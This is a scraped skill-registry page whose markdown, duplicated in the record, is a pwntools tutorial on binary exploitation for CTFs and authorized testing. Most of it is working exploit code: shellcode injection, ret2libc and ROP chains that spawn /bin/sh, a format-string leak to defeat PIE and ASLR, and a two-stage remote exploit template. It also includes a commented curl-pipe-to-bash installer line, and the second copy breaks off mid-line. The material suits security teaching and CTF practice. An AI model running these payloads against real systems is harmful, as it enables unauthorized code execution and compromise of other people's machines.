[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DB1KMAEM1TDKHA033APF44":3,"skill-same:01M7DB1KMAEM1TDKHA033APF44":56},{"skillNo":4,"name":5,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":24,"commitSha":25,"skillDirectory":26,"forksCount":27,"repositoryHtmlUrl":28,"repositoryHomepageUrl":6,"ownerHtmlUrl":29,"ownerBlogUrl":6,"ownerDescription":30,"updatedAt":31,"install":32,"resources":45},"01M7DB1KMAEM1TDKHA033APF44","performing-binary-exploitation-analysis",null,"alicewe1\u002Falice_skill","alicewe1","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F102134151?v=4","01M7D9STCM8HAESM958JP0989K","Alice_we","01M7D9STDR22MTD9FTTWPAZNV8",64,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002F_modules\u002Fperforming-binary-exploitation-analysis\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Falicewe1\u002Falice_skill\u002Fblob\u002Fmain\u002F_modules\u002Fperforming-binary-exploitation-analysis\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-binary-exploitation-analysis\ndescription: >\n  Analyze binary exploitation techniques including buffer overflows and\n  ROP chains using pwntools Python library. Covers checksec analysis,\n  gadget discovery with ROPgadget, and exploit development for CTF and\n  authorized security assessments.\ndomain: cybersecurity\nsubdomain: offensive-security\ntags: [binary-exploitation, pwntools, rop-chains, buffer-overflow]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\nx-alice-class: reverse\n---# Performing Binary Exploitation Analysis\n\n**For authorized security testing and CTF challenges only.**\n\nAnalyze ELF binaries for exploitation vectors using checksec, ROPgadget,\nand pwntools for buffer overflow and ROP chain development.\n\n## When to Use\n\n- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities\n- Solving binary exploitation challenges in CTF competitions\n- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries\n- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact\n- Training security engineers in exploit development techniques for defensive awareness\n- Validating that security patches for buffer overflow vulnerabilities are effective\n\n**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).\n\n## Prerequisites\n\n- Linux system (Ubuntu\u002FDebian recommended) for exploit development\n- Python 3.8+ with `pwntools` (`pip install pwntools`)\n- GDB with `pwndbg` or `GEF` plugin for enhanced debugging\n- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`)\n- `checksec` (included with pwntools or standalone via `apt install checksec`)\n- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)\n- Basic understanding of x86\u002Fx86_64 calling conventions and stack layout\n\n## Workflow\n\n### Step 1: Install the Exploitation Toolkit\n\n```bash\n# Install pwntools and dependencies\npip install pwntools ROPgadget\n\n# Install GDB with pwndbg plugin\ngit clone https:\u002F\u002Fgithub.com\u002Fpwndbg\u002Fpwndbg\ncd pwndbg && .\u002Fsetup.sh\n\n# Alternatively, install GEF (GDB Enhanced Features)\n# bash -c \"$(curl -fsSL https:\u002F\u002Fgef.blah.cat\u002Fsh)\"\n\n# Install supporting tools\nsudo apt install -y gdb nasm gcc-multilib libc6-dbg\n\n# Verify installation\npython3 -c \"from pwn import *; print('pwntools version:', version)\"\nchecksec --version\nROPgadget --version\n```\n\n### Step 2: Analyze Binary Protections with checksec\n\nBefore writing any exploit, enumerate the security mitigations compiled into the binary:\n\n```python\nfrom pwn import *\n\n# Load the target binary\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\n\n# checksec output explains what mitigations are in place\nprint(f\"Architecture: {elf.arch}\")\nprint(f\"Bits: {elf.bits}\")\nprint(f\"Endianness: {elf.endian}\")\nprint()\n\n# Key security properties\n# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT\n# Stack Canary: Detects stack buffer overflows via random canary value\n# NX (No-eXecute): Prevents executing code on the stack (DEP)\n# PIE: Position Independent Executable, randomizes base address\n# ASLR: OS-level address randomization (check \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space)\n\n# Also available via command line:\n# checksec --file=.\u002Fvulnerable_server\n```\n\n```bash\n# Command-line checksec output example:\nchecksec --file=.\u002Fvulnerable_server\n# RELRO           STACK CANARY      NX            PIE\n# Partial RELRO   No canary found   NX disabled   No PIE\n\n# Check ASLR status on the system\ncat \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space\n# 0 = disabled, 1 = conservative, 2 = full randomization\n```\n\n### Step 3: Find the Buffer Overflow Offset\n\nDetermine exactly how many bytes are needed to overwrite the return address:\n\n```python\nfrom pwn import *\n\ncontext.binary = ELF(\".\u002Fvulnerable_server\")\ncontext.log_level = \"info\"\n\n# Method 1: Use cyclic pattern to find exact offset\n# Generate a unique cyclic pattern\npattern_length = 200\npattern = cyclic(pattern_length)\nprint(f\"Generated cyclic pattern of length {pattern_length}\")\n\n# Send the pattern to the binary\np = process(\".\u002Fvulnerable_server\")\np.sendline(pattern)\np.wait()\n\n# After the crash, read the value in RIP\u002FEIP from core dump or GDB\n# Then find the offset:\n# For 64-bit: crashed_value = p.corefile.fault_addr\n# Or manually from GDB: \"info registers rip\" after crash\ncrashed_rip = 0x6161616c  # Example value from crash\noffset = cyclic_find(crashed_rip)\nprint(f\"Offset to return address: {offset} bytes\")\n\n# Method 2: Use GDB with pwndbg to find offset interactively\n# In GDB:\n#   pwndbg> cyclic 200\n#   pwndbg> run \u003C \u003C(python3 -c \"from pwn import *; print(cyclic(200).decode())\")\n#   pwndbg> cyclic -l $rsp   (or cyclic -l \u003Cvalue in RIP>)\n```\n\n### Step 4: Exploit a Stack Buffer Overflow (NX Disabled)\n\nWhen NX is disabled, inject and execute shellcode directly on the stack:\n\n```python\nfrom pwn import *\n\n# Configuration\nbinary_path = \".\u002Fvulnerable_server\"\ncontext.binary = ELF(binary_path)\ncontext.arch = \"amd64\"  # or \"i386\" for 32-bit\n\nOFFSET = 72  # Determined in Step 3\n\n# Generate shellcode\n# execve(\"\u002Fbin\u002Fsh\", NULL, NULL) - spawn a shell\nshellcode = asm(shellcraft.sh())\nprint(f\"Shellcode length: {len(shellcode)} bytes\")\n\n# Build the exploit payload\n# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]\nnop_sled = asm(\"nop\") * 32\n\n# For a local exploit without ASLR, we can estimate the buffer address\n# Run in GDB first to find the buffer address:\n#   break *main+XX  (after read\u002Fgets call)\n#   x\u002F20x $rsp\nbuffer_addr = 0x7fffffffe000  # Example - get from GDB\n\npadding_len = OFFSET - len(nop_sled) - len(shellcode)\npayload = nop_sled + shellcode + b\"A\" * padding_len + p64(buffer_addr)\n\n# Launch exploit\np = process(binary_path)\np.sendline(payload)\np.interactive()  # Interact with the spawned shell\n```\n\n### Step 5: Build a ROP Chain (NX Enabled)\n\nWhen NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):\n\n```bash\n# Find ROP gadgets in the binary\nROPgadget --binary .\u002Fvulnerable_server\n\n# Find specific gadgets\nROPgadget --binary .\u002Fvulnerable_server --only \"pop|ret\"\nROPgadget --binary .\u002Fvulnerable_server --only \"mov|ret\"\n\n# Search for gadgets to control registers for syscall\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rsi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdx\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"syscall\"\n\n# Find gadgets in libc (for ret2libc attacks)\nROPgadget --binary \u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6 --only \"pop|ret\" | head -20\n```\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# Method 1: ret2libc - call system(\"\u002Fbin\u002Fsh\") via libc\n# When the binary is dynamically linked and we know libc version\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n\n# Start process to leak libc address\np = process(binary_path)\n\n# If there is a format string or info leak, use it to find libc base\n# Example: binary prints puts@GOT address\np.recvuntil(b\"puts address: \")\nputs_leak = int(p.recvline().strip(), 16)\nlibc.address = puts_leak - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Find a \"pop rdi; ret\" gadget for x86_64 calling convention\n# First argument goes in RDI register\npop_rdi = elf.search(asm(\"pop rdi; ret\")).__next__()\nret_gadget = elf.search(asm(\"ret\")).__next__()  # Stack alignment\n\n# Build the ROP chain: system(\"\u002Fbin\u002Fsh\")\nbin_sh_addr = next(libc.search(b\"\u002Fbin\u002Fsh\\x00\"))\nsystem_addr = libc.symbols[\"system\"]\n\nrop_chain = flat(\n    b\"A\" * OFFSET,          # Padding to reach return address\n    ret_gadget,              # Stack alignment (needed for movaps in system)\n    pop_rdi,                 # pop rdi; ret - load \u002Fbin\u002Fsh address into RDI\n    bin_sh_addr,             # Address of \"\u002Fbin\u002Fsh\" string in libc\n    system_addr,             # Call system()\n)\n\np.sendline(rop_chain)\np.interactive()\n```\n\n### Step 6: Use pwntools ROP Helper for Automated Chain Building\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# pwntools automatic ROP chain builder\nrop = ROP(elf)\n\n# If the binary has enough gadgets, pwntools can build chains automatically\n# For execve(\"\u002Fbin\u002Fsh\", 0, 0) syscall:\nrop.call(\"puts\", [elf.got[\"puts\"]])  # Leak GOT entry\nrop.call(elf.symbols[\"main\"])        # Return to main for second stage\n\n# Print the ROP chain for debugging\nprint(rop.dump())\n\n# Build first-stage payload (leak libc)\nstage1 = flat(\n    b\"A\" * OFFSET,\n    rop.chain()\n)\n\np = process(binary_path)\np.sendline(stage1)\n\n# Parse the leaked puts address\np.recvuntil(b\"\\n\")  # Skip program output\nleaked_puts = u64(p.recvline().strip().ljust(8, b\"\\x00\"))\nlog.success(f\"Leaked puts@GOT: {hex(leaked_puts)}\")\n\n# Calculate libc base\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\nlibc.address = leaked_puts - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Build second-stage ROP chain using libc gadgets\nrop2 = ROP(libc)\nrop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\nstage2 = flat(\n    b\"A\" * OFFSET,\n    rop2.chain()\n)\n\np.sendline(stage2)\np.interactive()\n```\n\n### Step 7: Debug Exploits with GDB and pwndbg\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\ncontext.terminal = [\"tmux\", \"splitw\", \"-h\"]  # or [\"gnome-terminal\", \"--\"]\n\n# Launch binary under GDB with pwndbg\np = gdb.debug(binary_path, \"\"\"\n    # Set breakpoints at key locations\n    break *main\n    break *main+85\n\n    # Continue to the vulnerable function\n    continue\n\"\"\")\n\n# GDB commands useful during exploit development:\n# pwndbg> vmmap              - Show memory mappings (find stack, heap, libc)\n# pwndbg> checksec           - Show binary protections\n# pwndbg> search -s \"\u002Fbin\u002Fsh\" - Find string in memory\n# pwndbg> rop --grep \"pop rdi\" - Search for gadgets\n# pwndbg> cyclic 200         - Generate cyclic pattern\n# pwndbg> cyclic -l 0x616161 - Find offset from pattern value\n# pwndbg> telescope $rsp 20  - Show stack contents\n# pwndbg> x\u002F20gx $rsp        - Examine stack as 64-bit values\n# pwndbg> heap               - Analyze heap state\n# pwndbg> got                 - Show GOT entries and resolved addresses\n# pwndbg> plt                 - Show PLT entries\n\nOFFSET = 72\npayload = b\"A\" * OFFSET + p64(0xdeadbeef)\np.sendline(payload)\np.interactive()\n```\n\n### Step 8: Handle PIE and ASLR with Information Leaks\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_pie_binary\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\n# When PIE is enabled, we need to leak a code address to defeat randomization\n# Common leak techniques:\n# 1. Format string vulnerability: %p to leak stack\u002Fcode pointers\n# 2. Partial overwrite: overwrite only lower bytes of a pointer\n# 3. Uninitialized memory: read stack memory containing code pointers\n\np = process(binary_path)\n\n# Example: Using a format string leak to defeat PIE\n# If the binary has a printf(user_input) vulnerability:\np.sendline(b\"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\")\nleak_output = p.recvline().strip().decode()\nleaked_addrs = leak_output.split(\".\")\n\n# Parse leaked addresses to find a code pointer\nfor i, addr in enumerate(leaked_addrs):\n    try:\n        val = int(addr, 16)\n        # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit\n        if 0x550000000000 \u003C= val \u003C= 0x560000000000:\n            log.info(f\"Offset {i}: {addr} (likely PIE code address)\")\n        # libc addresses typically at 0x7fXXXXXXXXXX\n        elif 0x7f0000000000 \u003C= val \u003C= 0x800000000000:\n            log.info(f\"Offset {i}: {addr} (likely libc address)\")\n    except ValueError:\n        continue\n\n# Once we have a leaked PIE address, calculate the binary base\nleaked_code_addr = int(leaked_addrs[5], 16)  # Example offset\nelf.address = leaked_code_addr - elf.symbols[\"main\"]  # Adjust for known offset\nlog.success(f\"PIE base: {hex(elf.address)}\")\n\n# Now we can use absolute addresses in our ROP chain\nrop = ROP(elf)\n# ... build chain using elf.symbols which are now correctly rebased\n```\n\n### Step 9: Exploit a Remote Target\n\n```python\nfrom pwn import *\n\n# Configuration\nREMOTE_HOST = \"target.ctf.example.com\"\nREMOTE_PORT = 9001\nbinary_path = \".\u002Fvulnerable_server\"\n\nelf = ELF(binary_path)\ncontext.binary = elf\n\ndef exploit(target):\n    \"\"\"Run the full exploit chain against a target (local or remote).\"\"\"\n    OFFSET = 72\n\n    # Stage 1: Leak libc\n    rop1 = ROP(elf)\n    rop1.call(\"puts\", [elf.got[\"puts\"]])\n    rop1.call(elf.symbols[\"main\"])\n\n    payload1 = flat(b\"A\" * OFFSET, rop1.chain())\n    target.sendlineafter(b\"Input: \", payload1)\n\n    leaked = u64(target.recvline().strip().ljust(8, b\"\\x00\"))\n    log.success(f\"Leaked puts: {hex(leaked)}\")\n\n    # Stage 2: ret2libc\n    libc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n    libc.address = leaked - libc.symbols[\"puts\"]\n\n    rop2 = ROP(libc)\n    rop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\n    payload2 = flat(b\"A\" * OFFSET, rop2.chain())\n    target.sendlineafter(b\"Input: \", payload2)\n\n    target.interactive()\n\n# Test locally first\nlog.info(\"Testing exploit locally...\")\nlocal = process(binary_path)\nexploit(local)\n\n# Then run against remote target\n# log.info(\"Running exploit against remote target...\")\n# remote = remote(REMOTE_HOST, REMOTE_PORT)\n# exploit(remote)\n```\n\n## Verification\n\n- Confirm `checksec` correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection\n- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the `ret` instruction and confirming RIP\u002FEIP contains the expected cyclic value\n- Test shellcode payloads execute correctly in a controlled environment with NX disabled\n- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall\u002Ffunction call\n- Confirm the exploit works both locally (`process()`) and against a remote target (`remote()`) when the correct libc version is used\n- Verify that PIE bypass correctly rebases all addresses by checking GDB `vmmap` output against calculated addresses\n- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)\n- Run `ROPgadget` output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary\n","**For authorized security testing and CTF challenges only.**\n\nAnalyze ELF binaries for exploitation vectors using checksec, ROPgadget,\nand pwntools for buffer overflow and ROP chain development.\n\n## When to Use\n\n- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities\n- Solving binary exploitation challenges in CTF competitions\n- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries\n- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact\n- Training security engineers in exploit development techniques for defensive awareness\n- Validating that security patches for buffer overflow vulnerabilities are effective\n\n**Do not use** against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).\n\n## Prerequisites\n\n- Linux system (Ubuntu\u002FDebian recommended) for exploit development\n- Python 3.8+ with `pwntools` (`pip install pwntools`)\n- GDB with `pwndbg` or `GEF` plugin for enhanced debugging\n- `ROPgadget` for ROP chain gadget discovery (`pip install ROPgadget`)\n- `checksec` (included with pwntools or standalone via `apt install checksec`)\n- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)\n- Basic understanding of x86\u002Fx86_64 calling conventions and stack layout\n\n## Workflow\n\n### Step 1: Install the Exploitation Toolkit\n\n```bash\n# Install pwntools and dependencies\npip install pwntools ROPgadget\n\n# Install GDB with pwndbg plugin\ngit clone https:\u002F\u002Fgithub.com\u002Fpwndbg\u002Fpwndbg\ncd pwndbg && .\u002Fsetup.sh\n\n# Alternatively, install GEF (GDB Enhanced Features)\n# bash -c \"$(curl -fsSL https:\u002F\u002Fgef.blah.cat\u002Fsh)\"\n\n# Install supporting tools\nsudo apt install -y gdb nasm gcc-multilib libc6-dbg\n\n# Verify installation\npython3 -c \"from pwn import *; print('pwntools version:', version)\"\nchecksec --version\nROPgadget --version\n```\n\n### Step 2: Analyze Binary Protections with checksec\n\nBefore writing any exploit, enumerate the security mitigations compiled into the binary:\n\n```python\nfrom pwn import *\n\n# Load the target binary\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\n\n# checksec output explains what mitigations are in place\nprint(f\"Architecture: {elf.arch}\")\nprint(f\"Bits: {elf.bits}\")\nprint(f\"Endianness: {elf.endian}\")\nprint()\n\n# Key security properties\n# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT\n# Stack Canary: Detects stack buffer overflows via random canary value\n# NX (No-eXecute): Prevents executing code on the stack (DEP)\n# PIE: Position Independent Executable, randomizes base address\n# ASLR: OS-level address randomization (check \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space)\n\n# Also available via command line:\n# checksec --file=.\u002Fvulnerable_server\n```\n\n```bash\n# Command-line checksec output example:\nchecksec --file=.\u002Fvulnerable_server\n# RELRO           STACK CANARY      NX            PIE\n# Partial RELRO   No canary found   NX disabled   No PIE\n\n# Check ASLR status on the system\ncat \u002Fproc\u002Fsys\u002Fkernel\u002Frandomize_va_space\n# 0 = disabled, 1 = conservative, 2 = full randomization\n```\n\n### Step 3: Find the Buffer Overflow Offset\n\nDetermine exactly how many bytes are needed to overwrite the return address:\n\n```python\nfrom pwn import *\n\ncontext.binary = ELF(\".\u002Fvulnerable_server\")\ncontext.log_level = \"info\"\n\n# Method 1: Use cyclic pattern to find exact offset\n# Generate a unique cyclic pattern\npattern_length = 200\npattern = cyclic(pattern_length)\nprint(f\"Generated cyclic pattern of length {pattern_length}\")\n\n# Send the pattern to the binary\np = process(\".\u002Fvulnerable_server\")\np.sendline(pattern)\np.wait()\n\n# After the crash, read the value in RIP\u002FEIP from core dump or GDB\n# Then find the offset:\n# For 64-bit: crashed_value = p.corefile.fault_addr\n# Or manually from GDB: \"info registers rip\" after crash\ncrashed_rip = 0x6161616c  # Example value from crash\noffset = cyclic_find(crashed_rip)\nprint(f\"Offset to return address: {offset} bytes\")\n\n# Method 2: Use GDB with pwndbg to find offset interactively\n# In GDB:\n#   pwndbg> cyclic 200\n#   pwndbg> run \u003C \u003C(python3 -c \"from pwn import *; print(cyclic(200).decode())\")\n#   pwndbg> cyclic -l $rsp   (or cyclic -l \u003Cvalue in RIP>)\n```\n\n### Step 4: Exploit a Stack Buffer Overflow (NX Disabled)\n\nWhen NX is disabled, inject and execute shellcode directly on the stack:\n\n```python\nfrom pwn import *\n\n# Configuration\nbinary_path = \".\u002Fvulnerable_server\"\ncontext.binary = ELF(binary_path)\ncontext.arch = \"amd64\"  # or \"i386\" for 32-bit\n\nOFFSET = 72  # Determined in Step 3\n\n# Generate shellcode\n# execve(\"\u002Fbin\u002Fsh\", NULL, NULL) - spawn a shell\nshellcode = asm(shellcraft.sh())\nprint(f\"Shellcode length: {len(shellcode)} bytes\")\n\n# Build the exploit payload\n# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]\nnop_sled = asm(\"nop\") * 32\n\n# For a local exploit without ASLR, we can estimate the buffer address\n# Run in GDB first to find the buffer address:\n#   break *main+XX  (after read\u002Fgets call)\n#   x\u002F20x $rsp\nbuffer_addr = 0x7fffffffe000  # Example - get from GDB\n\npadding_len = OFFSET - len(nop_sled) - len(shellcode)\npayload = nop_sled + shellcode + b\"A\" * padding_len + p64(buffer_addr)\n\n# Launch exploit\np = process(binary_path)\np.sendline(payload)\np.interactive()  # Interact with the spawned shell\n```\n\n### Step 5: Build a ROP Chain (NX Enabled)\n\nWhen NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):\n\n```bash\n# Find ROP gadgets in the binary\nROPgadget --binary .\u002Fvulnerable_server\n\n# Find specific gadgets\nROPgadget --binary .\u002Fvulnerable_server --only \"pop|ret\"\nROPgadget --binary .\u002Fvulnerable_server --only \"mov|ret\"\n\n# Search for gadgets to control registers for syscall\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rsi\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"pop rdx\"\nROPgadget --binary .\u002Fvulnerable_server | grep \"syscall\"\n\n# Find gadgets in libc (for ret2libc attacks)\nROPgadget --binary \u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6 --only \"pop|ret\" | head -20\n```\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# Method 1: ret2libc - call system(\"\u002Fbin\u002Fsh\") via libc\n# When the binary is dynamically linked and we know libc version\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n\n# Start process to leak libc address\np = process(binary_path)\n\n# If there is a format string or info leak, use it to find libc base\n# Example: binary prints puts@GOT address\np.recvuntil(b\"puts address: \")\nputs_leak = int(p.recvline().strip(), 16)\nlibc.address = puts_leak - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Find a \"pop rdi; ret\" gadget for x86_64 calling convention\n# First argument goes in RDI register\npop_rdi = elf.search(asm(\"pop rdi; ret\")).__next__()\nret_gadget = elf.search(asm(\"ret\")).__next__()  # Stack alignment\n\n# Build the ROP chain: system(\"\u002Fbin\u002Fsh\")\nbin_sh_addr = next(libc.search(b\"\u002Fbin\u002Fsh\\x00\"))\nsystem_addr = libc.symbols[\"system\"]\n\nrop_chain = flat(\n    b\"A\" * OFFSET,          # Padding to reach return address\n    ret_gadget,              # Stack alignment (needed for movaps in system)\n    pop_rdi,                 # pop rdi; ret - load \u002Fbin\u002Fsh address into RDI\n    bin_sh_addr,             # Address of \"\u002Fbin\u002Fsh\" string in libc\n    system_addr,             # Call system()\n)\n\np.sendline(rop_chain)\np.interactive()\n```\n\n### Step 6: Use pwntools ROP Helper for Automated Chain Building\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\nOFFSET = 72\n\n# pwntools automatic ROP chain builder\nrop = ROP(elf)\n\n# If the binary has enough gadgets, pwntools can build chains automatically\n# For execve(\"\u002Fbin\u002Fsh\", 0, 0) syscall:\nrop.call(\"puts\", [elf.got[\"puts\"]])  # Leak GOT entry\nrop.call(elf.symbols[\"main\"])        # Return to main for second stage\n\n# Print the ROP chain for debugging\nprint(rop.dump())\n\n# Build first-stage payload (leak libc)\nstage1 = flat(\n    b\"A\" * OFFSET,\n    rop.chain()\n)\n\np = process(binary_path)\np.sendline(stage1)\n\n# Parse the leaked puts address\np.recvuntil(b\"\\n\")  # Skip program output\nleaked_puts = u64(p.recvline().strip().ljust(8, b\"\\x00\"))\nlog.success(f\"Leaked puts@GOT: {hex(leaked_puts)}\")\n\n# Calculate libc base\nlibc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\nlibc.address = leaked_puts - libc.symbols[\"puts\"]\nlog.success(f\"libc base: {hex(libc.address)}\")\n\n# Build second-stage ROP chain using libc gadgets\nrop2 = ROP(libc)\nrop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\nstage2 = flat(\n    b\"A\" * OFFSET,\n    rop2.chain()\n)\n\np.sendline(stage2)\np.interactive()\n```\n\n### Step 7: Debug Exploits with GDB and pwndbg\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_server\"\nelf = ELF(binary_path)\ncontext.binary = elf\ncontext.terminal = [\"tmux\", \"splitw\", \"-h\"]  # or [\"gnome-terminal\", \"--\"]\n\n# Launch binary under GDB with pwndbg\np = gdb.debug(binary_path, \"\"\"\n    # Set breakpoints at key locations\n    break *main\n    break *main+85\n\n    # Continue to the vulnerable function\n    continue\n\"\"\")\n\n# GDB commands useful during exploit development:\n# pwndbg> vmmap              - Show memory mappings (find stack, heap, libc)\n# pwndbg> checksec           - Show binary protections\n# pwndbg> search -s \"\u002Fbin\u002Fsh\" - Find string in memory\n# pwndbg> rop --grep \"pop rdi\" - Search for gadgets\n# pwndbg> cyclic 200         - Generate cyclic pattern\n# pwndbg> cyclic -l 0x616161 - Find offset from pattern value\n# pwndbg> telescope $rsp 20  - Show stack contents\n# pwndbg> x\u002F20gx $rsp        - Examine stack as 64-bit values\n# pwndbg> heap               - Analyze heap state\n# pwndbg> got                 - Show GOT entries and resolved addresses\n# pwndbg> plt                 - Show PLT entries\n\nOFFSET = 72\npayload = b\"A\" * OFFSET + p64(0xdeadbeef)\np.sendline(payload)\np.interactive()\n```\n\n### Step 8: Handle PIE and ASLR with Information Leaks\n\n```python\nfrom pwn import *\n\nbinary_path = \".\u002Fvulnerable_pie_binary\"\nelf = ELF(binary_path)\ncontext.binary = elf\n\n# When PIE is enabled, we need to leak a code address to defeat randomization\n# Common leak techniques:\n# 1. Format string vulnerability: %p to leak stack\u002Fcode pointers\n# 2. Partial overwrite: overwrite only lower bytes of a pointer\n# 3. Uninitialized memory: read stack memory containing code pointers\n\np = process(binary_path)\n\n# Example: Using a format string leak to defeat PIE\n# If the binary has a printf(user_input) vulnerability:\np.sendline(b\"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\")\nleak_output = p.recvline().strip().decode()\nleaked_addrs = leak_output.split(\".\")\n\n# Parse leaked addresses to find a code pointer\nfor i, addr in enumerate(leaked_addrs):\n    try:\n        val = int(addr, 16)\n        # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit\n        if 0x550000000000 \u003C= val \u003C= 0x560000000000:\n            log.info(f\"Offset {i}: {addr} (likely PIE code address)\")\n        # libc addresses typically at 0x7fXXXXXXXXXX\n        elif 0x7f0000000000 \u003C= val \u003C= 0x800000000000:\n            log.info(f\"Offset {i}: {addr} (likely libc address)\")\n    except ValueError:\n        continue\n\n# Once we have a leaked PIE address, calculate the binary base\nleaked_code_addr = int(leaked_addrs[5], 16)  # Example offset\nelf.address = leaked_code_addr - elf.symbols[\"main\"]  # Adjust for known offset\nlog.success(f\"PIE base: {hex(elf.address)}\")\n\n# Now we can use absolute addresses in our ROP chain\nrop = ROP(elf)\n# ... build chain using elf.symbols which are now correctly rebased\n```\n\n### Step 9: Exploit a Remote Target\n\n```python\nfrom pwn import *\n\n# Configuration\nREMOTE_HOST = \"target.ctf.example.com\"\nREMOTE_PORT = 9001\nbinary_path = \".\u002Fvulnerable_server\"\n\nelf = ELF(binary_path)\ncontext.binary = elf\n\ndef exploit(target):\n    \"\"\"Run the full exploit chain against a target (local or remote).\"\"\"\n    OFFSET = 72\n\n    # Stage 1: Leak libc\n    rop1 = ROP(elf)\n    rop1.call(\"puts\", [elf.got[\"puts\"]])\n    rop1.call(elf.symbols[\"main\"])\n\n    payload1 = flat(b\"A\" * OFFSET, rop1.chain())\n    target.sendlineafter(b\"Input: \", payload1)\n\n    leaked = u64(target.recvline().strip().ljust(8, b\"\\x00\"))\n    log.success(f\"Leaked puts: {hex(leaked)}\")\n\n    # Stage 2: ret2libc\n    libc = ELF(\"\u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\")\n    libc.address = leaked - libc.symbols[\"puts\"]\n\n    rop2 = ROP(libc)\n    rop2.call(\"execve\", [next(libc.search(b\"\u002Fbin\u002Fsh\\x00\")), 0, 0])\n\n    payload2 = flat(b\"A\" * OFFSET, rop2.chain())\n    target.sendlineafter(b\"Input: \", payload2)\n\n    target.interactive()\n\n# Test locally first\nlog.info(\"Testing exploit locally...\")\nlocal = process(binary_path)\nexploit(local)\n\n# Then run against remote target\n# log.info(\"Running exploit against 